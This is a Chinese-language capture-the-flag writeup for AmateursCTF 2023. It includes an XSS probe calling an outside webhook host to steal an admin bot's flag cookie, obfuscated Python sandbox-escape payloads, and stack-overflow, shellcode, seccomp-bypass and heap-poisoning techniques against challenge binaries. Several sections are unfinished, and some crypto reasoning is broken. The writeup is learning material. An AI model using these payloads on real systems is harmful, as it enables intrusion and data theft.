AmateursCTF Writeup
2023-07-20 09:17:37 +08:00
misc/Discord rules sanity check
Join the discord and read the rules!
found
Good job for reading the rules. Here’s your sanity check flag:
amateursCTF{be_honest._did_you_actually_read_the_rules?}
misc/guessctf
不做了就1分
tutorial level
here’s some text: take the md5 hash of this line and repeat it a few times. here’s some hex: b21e2deeed503640cded74cfe5511796b21e2deeed503640cded74cfe5511796b21e2deeed503640cded74cfe5511796b21e2deeed503640cded74cfe5511796b21e2deeed503640cded74cfe5511796b21e2deeed503640cded74cfe55170f9dd7a0d8482321860948201bdc52176e5c169429c8970422fed991caac53f72eec63e418b9b355a60a49e4eef85257fffc13e5d8f9e23412fbf8954a6967165f3d372418685291623bf8815bb8c2772f6 It’s a one time pad with the md5 hash of that line. Cool, got the password yet?
第二行的MD5是
b21e2deeed503640cded74cfe5511796
前面的MD5重复了五次,去掉之后剩下
b21e2deeed503640cded74cfe55170f9dd7a0d8482321860948201bdc52176e5c169429c8970422fed991caac53f72eec63e418b9b355a60a49e4eef85257fffc13e5d8f9e23412fbf8954a6967165f3d372418685291623bf8815bb8c2772f6
last day, still 0 solve
smashmaster clone给了个hint:split in half
forensics/Minceraft
I found these suspicious files on my minecraft server and I think there’s a flag in them. I’m not sure where though.
Note: you do not need minecraft to solve this challenge. Maybe reference the minecraft region file format wiki?
四个mca文件,都是来自地狱的
用nbtToText把最大的两个转成JSON,然后jq格式化一下,直接grep CTF,可以在r.1.135中找到,格式化后大概在11657609行
amateursCTF{cow_wear_thing_lmao_0f9183ca}
grep -n -C 100 'CTF' r.1.135.json
可以看到和Cow有关(我开游戏的时候还以为是新生成的实体
不能直接查找mca文件,因为有可能会被压缩
web/waiting-an-eternity
打开devtools可以看到一个响应头
refresh: 1000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; url=/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a
跟着走,在后面的几个请求(前几个请求好像没有)会Set-Cookie发送一个time,把cookie改成-Inf
即可
amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}
web/sanity
一个pastebin,有个report按钮
大概是XSS
await page.setCookie({ name: "flag", value: process.env.FLAG });
<img src='https://webhook.site/a59b6079-5fc7-41de-a22e-0ad3a1d10e5a'/>
qyz发现img可以注入进去然后就没然后了
我擦,Sanitizer是实验API,Firefox默认没有开启
要在about:config把dom.security.sanitizer.enabled
开上
这个sanitizer会把XSS过滤掉
但是<title>
里面的没有Sanitizer啊,但是这里会被url encode
rev/rusteze
用ghidra找到main:_ZN7rusteze4main17hc7c05373efbe52c2E rusteze::rusteze::main
(00108eb0
)
用cutter打开,找到0x00008eb0
通过调试发现:
- 0x00008f2f:完成输出
>
- 0x55555555cf0f:unwrap
Wrong!
- 0x55555555cf1c:String::new(“Wrong!”)
- 0x55555559609f:str Wrong!\n
- 0x5555555aaae0:flag string
- 0x55555555d18d:print Wrong
- 0x55555555d191:end
- 0x55555555cfd3: check1
- 0x55555555d00b: check 1 JMP
- flag长度为38(0x26) chars
- 0x55555555d011: pass check1
- 然后向rsp + 0x11c(0x7FFFFFFFCE7C)写入一堆东西,到rsp + 0x141,共38字节
- 0x55555555d150:向
0x7fffffffcea2 ◂— 0x20000000000000
填充38个零字节 - 0x55555555d155-0x55555555d1ae:无意义花代码
- 0x55555555d30f:不明比较
- 0x55555555d1a5: loop start
- 0x55555555d445: loop end
- 0x55555555d1b4:向rsp + 0x172(0x7FFFFFFFCED2)写入到rsp + 0x197
- 比较的是rsp+0x172和rsp+0x142
- rsp+0x142=((flag ^ (rsp + 0x11c)) « 2) | ((flag ^ (rsp + 0x11c) » 6)
- 0x55555555d500:检查
- 0x55555555d46b对应ghidra 0010946b
- 使用
calc.js
进行一个爆破
amateursCTF{h0pe_y0u_w3r3nt_t00_ru5ty}
crypto/Compact XORs
根据前面的题,flag格式应该为amateursCTF{.*}
可以发现,hex中有不少ASCII可读字符
同时,前面的两个a
和一个e
都没有加密
m
和t
和对应密文的XOR都是97,a
的char code
不难发现,加密规则是:
- 单数位置上不加密
- 双数位置上XOR前一个字符
使用flag.js
求出amateursCTF{saves_space_but_plaintext_in_plain_sight_862efdf9}
osint/Gitint 5e
One of the repos in the les-amateurs organization is kind of suspicious. Can you find all the real flags in that repository and report back? There are 3 flags total, one of which is worth 0 points. For this challenge, submit the flag with the sha256 hash
5e60b82a7b0860b53b6f100f599a5e04d52faf1a556ea78578e594af2e2ccf7c
github上的les-amateurs是主办方的org
出题人hellopir2,直接看hellopir2的提交,不多,近期只有hello-ctf和scripts仓库
hello-ctf有个奇怪的PR
但是找不到什么,看到more-CTFd-mods仓库有一个“flagfest{fake_flag}”,大概都是在这个仓库
- Initial Commit及后一个提交有
amateursCTF{y0u-fOunD_m3;bu7:d1D U r34L!y?}
- Commit
b79d333450e705c32bf87ed5752ea80b5d726717
有flagfest{fake_flag}
找到一个flag
分支,检出可以看到提交19e1db8d5b0f7124630da81ab023b999044098b4
还有一个Issue:#1,里面有一个pastebin链接
还有PR #2,已经被手动合并到了flag分支,其中的comment被edit过,PR正文也被edit过,
body原文是:
What’s the password, is it like password123456 or something?
paste的密码就是password123456
,
def flag():
return "amateursCTF{programs have issues, as do weak passwords}"
?我拿错哈希函数了,原来就是amateursCTF{y0u-fOunD_m3;bu7:d1D U r34L!y?}
osint/Gitint 7d
哎呀原来没白干
osint/ScreenshotGuesser
看到截图上面的US Mobile LTE
得知是美国
Google Maps查找“Primavera Foundation US”
smwy
crypto/Non-Quadratic Residues
main.py中的一段代码,
def getModPrime(modulus):
p = getPrime(1024)
p += (modulus - p) % modulus
p += 1
iters = 0
while not isPrime(p):
p += modulus
return p
$$ modulus=166798809782010000000000 $$
这里第三行实际上把p下对齐到了modulus,所以
$$
p=n \cdot modulus + 1
$$
于是
$$
n &= c^{210} \mod b \
n &= c^{210} \mod (k \cdot 210^{10} + 1) \
$$
根据RSA
$$
c \cdot F \equiv 1 \pmod{b} \
n = c^{210} \pmod{b}
$$
$$ c \cdot F \equiv 1 \pmod{b} \ c \cdot F \mod{b} = 1 \ c^{-1} = F \pmod{b} \ b = k \cdot 210^{10} +1 \ n = c^{210} \mod b \ $$
做的der不做了
misc/Censorship
compile(_,_,'eval')
compile(_,_,chr(101)+'val')
# globals()['compil'+chr(101)](_,_,chr(101)+'val')
globals()['__buil'+chr(116)+'ins__']
vars(globals()['__buil'+chr(116)+'ins__'])['compil'+chr(101)](_,_,'single')
vars(globals()['__buil'+chr(116)+'ins__'])['compil'+chr(101)](_,_,'singl'+chr(101))
vars(globals()['__buil'+chr(116)+'ins__'])['prin'+chr(116)](_)
amateursCTF{i_l0v3_overwr1t1nG_functions..:D}
嗯,vars
是我对着doc翻出来的
misc/Censorship Lite
ord('a') / ord('a') == 1
因此数字表达可以绕过,影响主要在globals
vars(sys)['modules']['builtins']
通过sys可以引用到builtins,ASCII大写+空格=小写
vars(sys)['modu'+chr(ord(' ')+ord('L'))+chr(ord(' ')+ord('E'))+'s']['bu'+chr(ord(' ')+ord('I'))+chr(ord(' ')+ord('L'))+chr(ord(' ')+ord('T'))+chr(ord(' ')+ord('I'))+'ns']
vars(vars()['__bu'+chr(ord(" ")+ord("I"))+chr(ord(" ")+ord("L"))+chr(ord(" ")+ord("T"))+chr(ord(" ")+ord("I"))+'ns__'])['pr'+chr(ord(" ")+ord("I"))+'n'+chr(ord(" ")+ord("T"))](_)
amateursCTF{sh0uld'v3_r3strict3D_p4r3nTh3ticaLs_1nst3aD}
rev/volcano
main在001014a7
bear的长度要满足:
- l & 1 == 0
- l % 3 == 2
- l % 5 == 1
- l + ((l - (l / 7 » 1)) + (l / 7 » 2)) * -7 == 3
- l % 0x6d == 0x37
即
- l为双数
- l除以3余2
- l除以5余1
- l除以0x6d余0x37
- l*6 + l / 4 == 3
fuzz_bear.js
一扫一大堆,56854346
fuzz_volcano.js
,29356457
proof的规则:
为单数,不为1
bear和vol十进制位数相同(
00101209
)long check_1(ulong value) { ulong i; long sum; sum = 0; for (i = value; i != 0; i = i / 10) { sum = sum + 1; } return sum; }
bear和vol十进制下每一位相加的和相同(
0010124d
)long check_2(ulong value) { ulong i; long sum; sum = 0; for (i = value; i != 0; i = i / 10) { sum = sum + i % 10; } return sum; }
不想看了直接爆破
诶怎么不行uint64_t check3(uint64_t const0x1337, uint64_t value, uint64_t proof) { ulong var_28h = 0; uint64_t var_20h = 0; uint64_t var_18h = 0x1337 % proof; uint64_t var_8h = 1; // var_18h = const0x1337 % proof; for (var_20h = value; var_20h != 0; var_20h = var_20h >> 1) { if ((var_20h & 1) != 0) { var_8h = (var_8h * var_18h) % proof; } var_18h = (var_18h * var_18h) % proof; } return var_8h; }
main位于0x5555555554a7
bear = 56854346
volcano = 29356457
proof = 2230313
check3为0x1ce437
amateursCTF{yep_th0se_l00k_th3_s4me_to_m3!_:clueless:}
rev/headache
main位于00401176
flag长度为0x3d(61)字节
check位于00401290
ulong checkflag(uint8_t *flag)
{
uint32_t uVar1;
ulong uVar2;
ulong in_RCX;
ulong in_RDX;
uint32_t *puVar3;
uint32_t *noname_1;
if ((flag[0x19] ^ *flag) != 0x56) {
return 0;
}
puVar3 = fcn.004012a4;
do {
*puVar3 = *puVar3 ^ 0xea228de6;
noname_1 = puVar3 + 1;
uVar1 = *puVar3;
puVar3 = noname_1;
} while (uVar1 != 0xea228de6);
uVar2 = fcn.004012a4(flag, noname_1, in_RDX, in_RCX);
return uVar2;
}
flag的0x19位XOR第一个字符(a
)为0x56,所以第25位为7
测试flag amateursCTF{777777777777777777777777777777777777777777777777}
还修改了FUN_004012a4
的内容
main位于0x401176
,check call位于0x401237
,check位于0x401290
,对004012a4的调用位于0x40438c
=> 0x4012a4: mov r15b,BYTE PTR [rdi+0x2d]
0x4012a8: xor r15b,BYTE PTR [rdi+0xe]
0x4012ac: cmp r15b,0x1d
0x4012b0: je 0x404350
0x4012b6: xor eax,eax
0x4012b8: ret
0x4012b9: nop
0x4012ba: nop
0x4012bb: nop
flag的0x2d和0xe XOR是0x1d
哎呀有新的题了不做了
rev/jvm
用Vineflower进行一个反编译
java -jar vineflower-1.9.1.jar JVM.class .
简单分析后得到JVM1.java
,可以看到是一个很简单的指令集
用x86混合ARM的风格造了个打印,运行一次得到out.asm
可知
- flag为42字符,r0作为cx进行计数
- IP=32处打印NO
然后把整个流程dump出来
case 32:
System.out.println(ip + ": READ");
stack[sp++] = 10;
ip += 1;
break;
case 41:
System.out.println(ip + ": JZ r" + op1 + ", " + op2);
if (op2 == 37) {
System.out.println("---- WARN jump 37");
}
if (registers[op1] == 0) {
ip = op2;
} else {
ip += 3;
}
break;
case 42:
System.out.println(ip + ": JNZ r" + op1 + ", " + op2);
if (op2 == 37) {
System.out.println("---- Expected " + (char)(10-registers[op1]));
registers[op1] = 0;
}
if (registers[op1] != 0) {
ip = op2;
} else {
ip += 3;
}
break;
case 43:
System.out.println(ip + ": JMP " + op1);
if (op2 == 37) {
System.out.println("---- WARN jump 37");
}
ip = op1;
break;
虽然在后面IndexOutOfBound了但是大部分flag都拿到了,amasteursCTF直接补上就好
grep Expected out2.asm | sed -e 's/.*Expected\s//g'
amasteursCTF{wh4t_d0_yoU_m34n_j4v4_isnt_ _vm?}
,中间空格那个字符的判断逻辑比较奇怪,因为用到了EXCHANGE
,VM没能直接解出来
93: POP r0
95: ADD r1, 1
98: EXCHANGE r0, r1
100: ADD r1, r1
103: ADD r2, 7
106: ADD r0, r0
109: SUB r2, 1
112: JNZ r2, 106
106: ADD r0, r0
109: SUB r2, 1
112: JNZ r2, 106
106: ADD r0, r0
109: SUB r2, 1
112: JNZ r2, 106
106: ADD r0, r0
109: SUB r2, 1
112: JNZ r2, 106
106: ADD r0, r0
109: SUB r2, 1
112: JNZ r2, 106
106: ADD r0, r0
109: SUB r2, 1
112: JNZ r2, 106
106: ADD r0, r0
109: SUB r2, 1
112: JNZ r2, 106
115: ADD r0, 2
118: SUB r0, r1
121: SUB r1, r1
124: JNZ r0, 37
但是也不难推,同时根据上下文可以直接猜测是a
或者A
(我算这一段的时候,算错了两次,一次算成了75
amateursCTF{wh4t_d0_yoU_m34n_j4v4_isnt_A_vm?}
misc/Insanity check
insanity introduce inspire something incredible impulse ivory intelligence incident implication hidden illustrate isolation illusion indirect instinct inappropriate interrupt infection in item inspector institution infinite insert the insist import ignite incentive influence instruction invasion install infrastructure innovation ignore investment impact improve increase rules identification initial immune inhabitant indulge illness information iron injection interest intention inquiry inflate impound
“something hidden in the rules”,用Discord客户端(Web不行)打开rules频道,就会看到列表前面的数字变成了“107122414347637 125839376402043 122524418662265 122549902405493 121377376789885”
hex + from hex
616d6174657572734354467b6f6f70735f796f755f666f756e645f6d657d
amateursCTF{oops_you_found_me}
thx to qyz
pwn/rntk
甚至符号表都没删,他真的,我哭死
但是猜对数字没用,要调用到win
,而这个函数没有直接引用
可以看到
- 随机数使用libc的PRNG,seed为
time(NULL)
,即UNIX Timestamp in seconds - 完成后生成第一个随机数作为
global_canary
- guess时使用gets,缓冲区在栈上,由于
gets(3)
没有边界检查,这里可以溢出 - guess时会保存
global_canary
到栈上,并在gets(3)
后检查 - seed以秒为单位且在启动时生成,可以爆破
因此canary.c
进行一个爆破
需要注意的是,由于payload包含非ASCII字符,要直接从pipe写入,不能用shell
amateursCTF{r4nd0m_n0t_s0_r4nd0m_after_all}
去你的ghidra分析栈结构多出来个变量害得我弄了半天没JMP对
我生成的payload跳过了win
的第一条ENDBR64指令,不跳也行
pwn/permissions
这个用到了seccomp
,很神奇的样子
- L28:6秒后自动终止
- L30-41:读取flag
- L44:使flag内存只写
- L55:初始化seccomp
- L57:运行shellcode
- 运行shellcode时,RAX及RDI都指向flag,RDX指向code buffer
- shellcode内存为RWX
- 根据Intel Software Developer Manual 3.4.5.1,x86{,64}支持{Read-Only,Read-Write}{,-expand-down}{,-accessed},但是没有Write-Only,所以实际上,虽然
mprot
了,内存还是可读的
写一个shellcode(code.asm
),用NASM编译(注意带上BITS 64
和DEFAULT REL
,不然默认是绝对地址,直接调用write(2)
写到stdout即可
amateursCTF{exec_1mpl13s_r34d_8751fda0}
pwn/i-love-ffi
没有直接读取flag,那就需要shellcode注入了
可以运行shellcode也可以打印buffer
由于没有打开flag.txt,没有fd,只能靠shellcode
先分析下两个struct的结构,
cargo install bindgen-cli
bindgen chal.c -o chal.rs
rm $(which bindgen)
struct MmapArgs {
uint64_t * addr; // 0
uint64_t length; // 8
int protection; // 16
int flags; // 20
int fd; // 24
// padding 4 bytes
uint64_t offset; // 32
}; // 40
可以发现,clang分析时, fd
和offset
之间有4bytes对齐,结构应该是40b,但是反编译可以看到,对齐字节,整个结构只有36b
但是在so中
001078cd 4c 89 33 MOV qword ptr [RBX],R14 // addr
001078d0 4c 89 7b 08 MOV qword ptr [RBX + 0x8],R15 // len
001078d4 89 6b 18 MOV dword ptr [RBX + 0x18],EBP // prot
001078d7 44 89 63 1c MOV dword ptr [RBX + 0x1c],R12D // flags
001078db 44 89 6b 20 MOV dword ptr [RBX + 0x20],R13D // fd
001078df 48 89 43 10 MOV qword ptr [RBX + 0x10],offset
rust中,结构也没有对齐,结构为36b,不过编译出的so中,exec prot判断是直接用寄存器的值,不受影响
此时:
rs | addr | addr | len | len | offset | offset | prot | flags | fd |
---|---|---|---|---|---|---|---|---|---|
c | addr | addr | len | len | prot | _flags | fd | offset | offset |
所以prot
实际上可以为RWX
#define PROT_READ 0x1 /* Page can be read. */
#define PROT_WRITE 0x2 /* Page can be written. */
#define PROT_EXEC 0x4 /* Page can be executed. */
prot
应该为7
strace -e open,openat ./chal
发现chal没有打开任何多余的文件,
参考pwn/permissions
的mmap,可以发现,addr=NULL时,mmap会主动分配内存
fd=-1时,不会映射任何内容,等于分配内存,
read(0, buf, 0x1000);
len应该大于0x1000
所以payload应该是,
addr = 0
len = 4096
offset = 0
prot = 7
fd = -1
由于rs中是parse的u32,-1应该写作0xffffffff,即4294967295,但是这样就过不了PROT_EXEC检查,
offset = 0x700000000
而MAP_ANON
在大部分libc实现中,不要求fd一定为-1,所以可以尝试其他值
0
4096
4294967291
0
0
7
可以看到运行时
► 0x5555555552a0 <main+119> call mmap@plt <mmap@plt>
addr: 0x0
len: 0x1000
prot: 0x7
flags: 0x22
fd: 0xfffffffb
offset: 0x0
成功设置了PROT_EXEC,写个wrapper.c
和code.asm
进行一个注入
需要注意的是,wrapper要分两次write,不然缓冲区数据加载不进去(猜测是因为rust和libc分两个stdin buffer?反正一次性write会导致buf为空
先open
然后read
然后write
即可
amateursCTF{1_l0v3_struct_p4dding}
pwn/hex-converter
I kept on getting my hex mixed up while trying to solve unvariant’s pwn challenges, so I wrote my own converter to help me out.
Hint: What’s in the stack that we can overwrite?
又是一道gets
的栈覆盖题
hex缓冲区为28b,会输出16个字符的十六进制ASCII
变量在栈中的格式为:
| 高地址
| i(输出计数,undefined4)
| hex(undefiend1[28])
| flag(undefined1[64])
| 低地址
人不能,至少不该,覆盖flag
如果把i覆盖到负数呢,这样i > 0x10
前就能打印更多字符,了吗?
打印用的是hex[i]
,负数的时候指针会指向flag,好!
咱要把它覆盖成-64
写好solve.c
完事,注意要sleep一秒不然不知道为什么对面收不到
616D6174657572734354467B776169745F746869735F7761736E745F737570706F7365645F746F5F62655F7072696E7465645F37363732337D0000000000000031313131313131313131313131313131
塞进CyberChef选From Hex
amateursCTF{wait_this_wasnt_supposed_to_be_printed_76723}
pwn/perfect-sandbox
seccomp + flag地址随机化
rbx rcx rdx rdi rsi rbp r8 r9 r10 r11 r12 r13 r14 r15都被初始化为0x13371337
rsp为0x13371337000,指向固定的堆栈
rax指向代码
JMP前长这样
RAX 0x7ffff7c79000 ◂— mov r12, rax /* 0x1b8c48949 */
RBX 0x13371337
RCX 0x13371337
RDX 0x13371337
RDI 0x13371337
RSI 0x13371337
R8 0x13371337
R9 0x13371337
R10 0x13371337
R11 0x13371337
R12 0x13371337
R13 0x13371337
R14 0x13371337
*R15 0x13371337
RBP 0x13371337
RSP 0x13371337000 ◂— 0x0
*RIP 0x401594 (main+643) ◂— jmp rax
flag加载地址为rand & 0xfffff000 + 0x1337000
,rand
从/dev/urandom
读取
使用iaito的pdc反编译:
rax = qword [rbp - 0x28]
eax = dword [rax]
eax &= 0xfffff000
dword [rbp - 0x30] = eax
eax = dword [rbp - 0x30]
rax += 0x1337000
qword [rbp - 0x20] = rax
rax = qword [rbp - 0x20]
r9d = 0 // size_t offset
r8d = 0xffffffff // -1 // int fd
ecx = 0x22 // '\"' // 34 // int flags
edx = 3 // int prot
esi = 0x1000 // size_t length
rdi = rax // void*addr
mmap () // sym.imp.mmap // sym.imp.mmap
可以看到:qword [rbp - 0x20] = rax
,通过gdb观察发现,rsp - 0x20和rsp - 0x28都有指向flag的指针
系统分配的stack不会被释放,且基本可重现,因此可以暂时默认0x7fffffffd280为rsp - 0x20
但是离谱的是,gdb下面能运行,单独运行就爆炸,用coredumpctl开上gdb看,是栈的地址不对
那我把整个栈扫一遍总行吧
cat /proc/(PID)/smaps | grep stack
获取stack地址
发现gdb调试时为7ffffffdd000-7ffffffff000
,单独运行时为7ffedefea000-7ffedf00c000
栈长这样
pwndbg> stack
00:0000│ rsp 0x7fffffffd260 ◂— 0x0
01:0008│ 0x7fffffffd268 ◂— 0x300000000
02:0010│ 0x7fffffffd270 ◂— 0x346020000
03:0018│ 0x7fffffffd278 —▸ 0x7ffff7fc0000 ◂— 0x4602090d
04:0020│ 0x7fffffffd280 —▸ 0x47357000 ◂— 'test flag'
05:0028│ 0x7fffffffd288 —▸ 0x47357000 ◂— 'test flag'
06:0030│ 0x7fffffffd290 —▸ 0x7ffff7c79000 ◂— mov r12, rax /* 0x1b8c48949 */
07:0038│ 0x7fffffffd298 —▸ 0x13371337000 ◂— 0x0
可以看到,首先,rsp - 0x20
是指向flag,rsp - 0x30
是代码位置,会等于代码执行时的rax
,rsp - 0x68
和rsp - 0x70
值相同,-0x58
指向0x401311
(main
),rsp - 0x40
为1(argv
),rsp - 0x80
为0,-0xf0
指向main,-0x118
指向0x401170
(_start),-0x138
指向0x401195
但是此时我们还不能getpid
,因为seccomp,但是我们可以:cat /proc/self/smaps | grep stack
诶怎么还不能open
根据给出的论文,我们可以通过判断页表缓存后访问时间的差异扫描页。具体的访问操作是由VMASKMOV
和VPMASKMOV
完成的,这两个操作可以设置加载掩码,无效页面被遮罩时不会产生异常。
尝试自己做了个PoC,但是跑不起来,不知道为什么,KMOVD
会触发SIGILL
正解:从fs
和gs
寄存器访问TLS复原栈指针
[[fs:0x300]-0x50]
amateursCTF{3xc3pt10n_suppr3ss10n_ftw}
pwn/ELFcrafting-v1
How well do you understand the ELF file format?
这题要造一个32字节的ELF出来,上osdev wiki查一下ELF的格式
32字节?ELF Header都多少了
但是,我们有shebang啊
#!/usr/bin/cat flag.txt
/m/s/w/A/p/ELFcrafting-v1 $ nc amt.rs 31178 < exp.sh
I'm sure you all enjoy doing shellcode golf problems.
But have you ever tried ELF golfing?
Have fun!
read 23 bytes from stdin
wrote 23 bytes to file
amateursCTF{i_th1nk_i_f0rg0t_about_sh3bangs_aaaaaargh}
/usr/bin/cat: /dev/fd/3: No such file or directory
虽然我不知道为什么sh
和cat
都在尝试打开fd 3但是flag出来了就行
amateursCTF{i_th1nk_i_f0rg0t_about_sh3bangs_aaaaaargh}
pwn/simple-heap-v1
0x5555555596b0 first chunk
0x5555555596d0 guess chunk
0x5555555596f0 flag
0x5555555596f0 flag
0x5555555596d0 last guess
0x555555559790 0x555555559700 last guess & flag with 32b first guess
0x5555555596f0 flag
堆分配过程:
- first chunk alloc
- guess chunk alloc
- flag alloc/free
- flag alloc/free
- guess chunk free
- last guess alloc
- flag alloc/free
第二次猜测的修改一个字符可以溢出,以及后面flag malloc的时候总是会和guess chunk相隔至少16 bytes
所以,只要我们让guess chunk和flag连起来即可
0x555555555560 get first chunk
完成第一次check后长这样
+0000 0x5555555596a0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ tcachebin前8b
+0010 0x5555555596b0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaaaaaa│aaaaaaaa│ first chunk
+0020 0x5555555596c0 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 │........│!.......│ guess chk的tcachebin前8b
+0030 0x5555555596d0 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaaaaaa│aaaaaaaa│ guess chunk
+0040 0x5555555596e0 00 00 00 00 00 00 00 00 91 00 00 00 00 00 00 00 │........│........│ flag tcachebin prev size/size
+0050 0x5555555596f0 59 55 55 55 05 00 00 00 48 48 c8 15 ff f4 ab 1b │YUUU....│HH......│ flag tcachebin next/key
此时Free chunk (tcachebins) | PREV_INUSE
指向e0
由于printf
打印的是guess,所以要让guess分配到flag的位置,然后给size = 0就可以让数据不被覆盖,但是这样会让check通过,不打印guess,所以要使strcmp失败
不能直接修改TCB.fd,因此第二次check的时候需要分配内存,此时guess还没释放,位置上没有TCB诶guess里面写一个TCB不就好了
load payload
check1 flag alloc/free(entries->flag buf)
change one char
check2 flag alloc/free(entries->flag buf)
guess chunk free(entries->guess buf->flag buf)
last guess alloc(entries->flag buf)
flag alloc/free(entries->flag buf)
首先要tcache poisoning我们需要至少两个entry在同一个bin上,不然还要修改tcache_prethread_struct->count
,一个字节改不来
所以可能是在guess chunk free之后,让flag buf,也就是guess buf->next
指向guess buf本身,同时guess buf本身要有数据,让strcmp
不通过
已知flag buf
为0x80字节,应该分配在第七个bin,guess buf也应该在113-128字节之间
那么payload大概是这样
- 第一个
getchunk
随便写,由于不会释放,不影响tcache - 第二个guess给120字节,内容随便
- 修改一个字符的时候越界写入flag
tcache_entry->next
指向guess buf - 最后次guess给120非0字节
crypto/You get extra information 1
一眼RSA
给出了$p \cdot q$(即$N$),$c = ptxt ^ {e} \mod{N}$,$e = 65537$,$p+2q$
根据RSA的解密方法 $$ n = c^d \bmod {N} $$ 我们需要求出$d$
而$ed\equiv1\pmod{r}$
根据一篇论文:
Mohammed, Ahmed and Alkhelaifi, Abdulrahman. “RSA: A number of formulas to improve the search for p+qp+qmml:mathmml:mrowmml:mip</mml:mi>mml:mo+</mml:mo>mml:miq</mml:mi></mml:mrow></mml:math>” Journal of Mathematical Cryptology, vol. 11, no. 4, 2017, pp. 195-203. https://doi.org/10.1515/jmc-2016-0046
因为$n = 1 \bmod{100}$且$3 \mid n+1$时,$r = 300k + 102$或$r = 300k + 198$或$r = 60k + 30$
此时:
- $p+q\gt2\sqrt{n}$
- $\sqrt{m^2-4n}$时,$m=p+q$
设$r=p+q$:
- $r_1 = 300k_1 + 102$
- $r_2 = 300k_2 + 198$
- $r_3 = 60k_3 + 30$
算出$2\sqrt{n}$约为$1.8307\times 10^{154}$(1.8307e+154)
由于$r_1$、$r_2$和$r_3$大于$2\sqrt{n}$,
所以:
- $k_1 \gt 6.1023\times 10^{151}$
- $k_3 \gt 6.1023\times 10^{151}$
- $k_3 \gt 3.0512\times 10^{152}$
因为$p+q\gt 1.8307\times 10^{154}$
$p+2q$已知,所以q最大值约为 8.2586e+153,即 $q \lt 8.2586\times 10^{153}$
p最小约为1.0048e+154,即 $p \gt 1.0048\times 10^{154}$ $$ r = (p-1)(q-1)=pq-(p+q)-1 $$ 然后没了别算了算你个鬼
直接上z3-solver
2s出结果
forensics/zipper
Stare into the zip and the zip stares back.
zip的备注给了一半flag,part1:
amateursCTF{z1PP3d_
直接rg
/m/s/w/A/f/zipper $ rg '}'
flag/flag201.txt
1:Part 4: _Zips}
找到最后一半
这没说,还有Part2和3?
使用strings查找找到P3,用ImHex打开可以看到这里实际上是flag目录的comment,但是Ark不显示
/m/s/w/A/f/zipper $ strings flag.zip | grep Part
flag/Part 3: laY3r_0fPK
Part 1: amateursCTF{z1PP3d_
amateursCTF{z1PP3d_???laY3r_0f_Zips
但是奇怪的是搜索结果有好多个flag/../flag
,使用ImHex把这堆flag改名分开(flag1.zip.ips
)结果发现内容都一样
看到DC提示P2有Unicode字符
forensics/Painfully Deep Flag
binwalk -e flag.php
cd _flag.pdf.extracted
file *
2A18: ColorSync color profile 2.1, type lcms, RGB/XYZ-mntr device by lcms, 8796 bytes, 16-7-2023 21:42:44 "sRGB built-in"
2A18.zlib: zlib compressed data
7F3: data
7F3.zlib: zlib compressed data
25E4: ASCII text
25E4.zlib: zlib compressed data
47: ASCII text
47.zlib: zlib compressed data
61C: data
61C.zlib: zlib compressed data
172A: ASCII text
172A.zlib: zlib compressed data
244: data
244.zlib: zlib compressed data
1638: data
1638.zlib: zlib compressed data
1852: PostScript Type 1 font program data
1852.zlib: zlib compressed data
能看到一堆奇怪的东西,然后还有个字体
pdfinfo看到是LibreOffice导出的pdf,用LibreOffice Draw打开
即刻得到flag
amateursCTF{0ut_0f_b0unds}
misc/q-warmup
If a bit flips and no one is around to observe it, does it still cause a bug?
This challenge was done on Qiskit version 0.42.1.
挖!Quantum、Qiskit,好高级的算法
但是它可重现啊
那我彩虹表不就有了
amateursCTF{n0thing_qU4ntum_4b0ut_th1s_4t_All}
misc/Censorship Lite++
矣,好高级,不做了
misc/legality
When looking at licenses, there were too many licenses to pick on, but I finally settled on AGPL. Using it, I wrote a very secure locker!
However, I was using a SaaS and lost my password and they won’t help me out, do you think you could try to find it for me?
源码都不给了是吗
但是这是AGPL啊
根据AGPL的“2. Basic Permissions.”,我们有“make, run and propagate”这个软件的权利!
因此要找到源代码
乐
看到server: deno
,是个JS/TS项目
可是源码在哪呢
rev/trick question
先用pycdc反编译,然后手动修一下b64decode
的导入,解出来一个混淆过的check
然后手动改一下,写成pyc然后pycdc即可
第六部分是利用了ASCII可见字符最高为都为0
amateursCTF{PY7h0ns_ar3_4_f4m1lY_0f_N0Nv3nom0us_Sn4kes}
rev/jsrev
首先这是个THREE.JS的项目
Spector.js没看到什么奇怪的东西
发现两个资源:coords.json
和collision-world.glb
glb用blender打开,也没什么
以及可以发现这是一个THREE.JS的官方example(甚至注释标出了
比较一下
difft (curl -Ls https://github.com/mrdoob/three.js/raw/dev/examples/games_fps.html | psub) (curl -Ls https://jsrev.amt.rs/ | psub)
总的来说,多了个coords.json
,glb的hash是一致的
let positions = [];
await fetch('./coords.json')
.then((response) => response.json())
.then((data) => { positions = data;});
for (let i = 0; i < positions.length; i++ ){
const [x, y, z] = positions[i];
spheres[i].collider.set( new THREE.Vector3( x, y, z ), SPHERE_RADIUS );
}
那么把这个coords画出来?
掏出OpenSCAD
node draw-coords.js
time openscad -o coords.stl coords.scad
看不懂?试一下变换就有了
amateursCTF{asK_4nD_thr33_5h4ll_r3c31v3}
但是读英文好难,后面那个c
我放大才看到右边比左边少一个像素
rev/CSCE221-Data Structures and Algorithms
首先这个coredump不是coredump不能gdb
然后list
是.bss
的全局变量,位于0x00404060
,用ghidra的Parse C Sources把main.h导进去,然后手动命名一下
list_init
很简单,就是按顺序初始化链表
list_mix
则是
cur = list->head;
len = list->len;
next = list->head->ptr;
for (i = 1; i < len; i = i + 1) {
xor = (listnode *)((ulong)cur ^ (ulong)next->ptr);
cur = next;
orgNext = next->ptr;
next->ptr = xor;
next = orgNext;
}
遍历整个链表,链表的每一项的地址改为前一项和后一项的地址XOR,这里由于有orgNext
,应该是不会崩溃的,测试也是如此,那么,我们只要有前一项的地址,就能XOR还原后一项
那这时直接转到list
,len = 0x1d
,链表第一项位于004052a0
但是,由于链表的node是连着分配的,内存地址也不会很远,通过segment offset算出文件偏移:18128,用ImHex打开即可
amateursCTF{l1nk3d_bY_4n_xor}
pwn/ELFcrafting-v2
相对于v1:能放79字节,但是必须是ELF,有Magic检查
ELF32 header 52 octects,ELF64 56 octects,当然用32啊
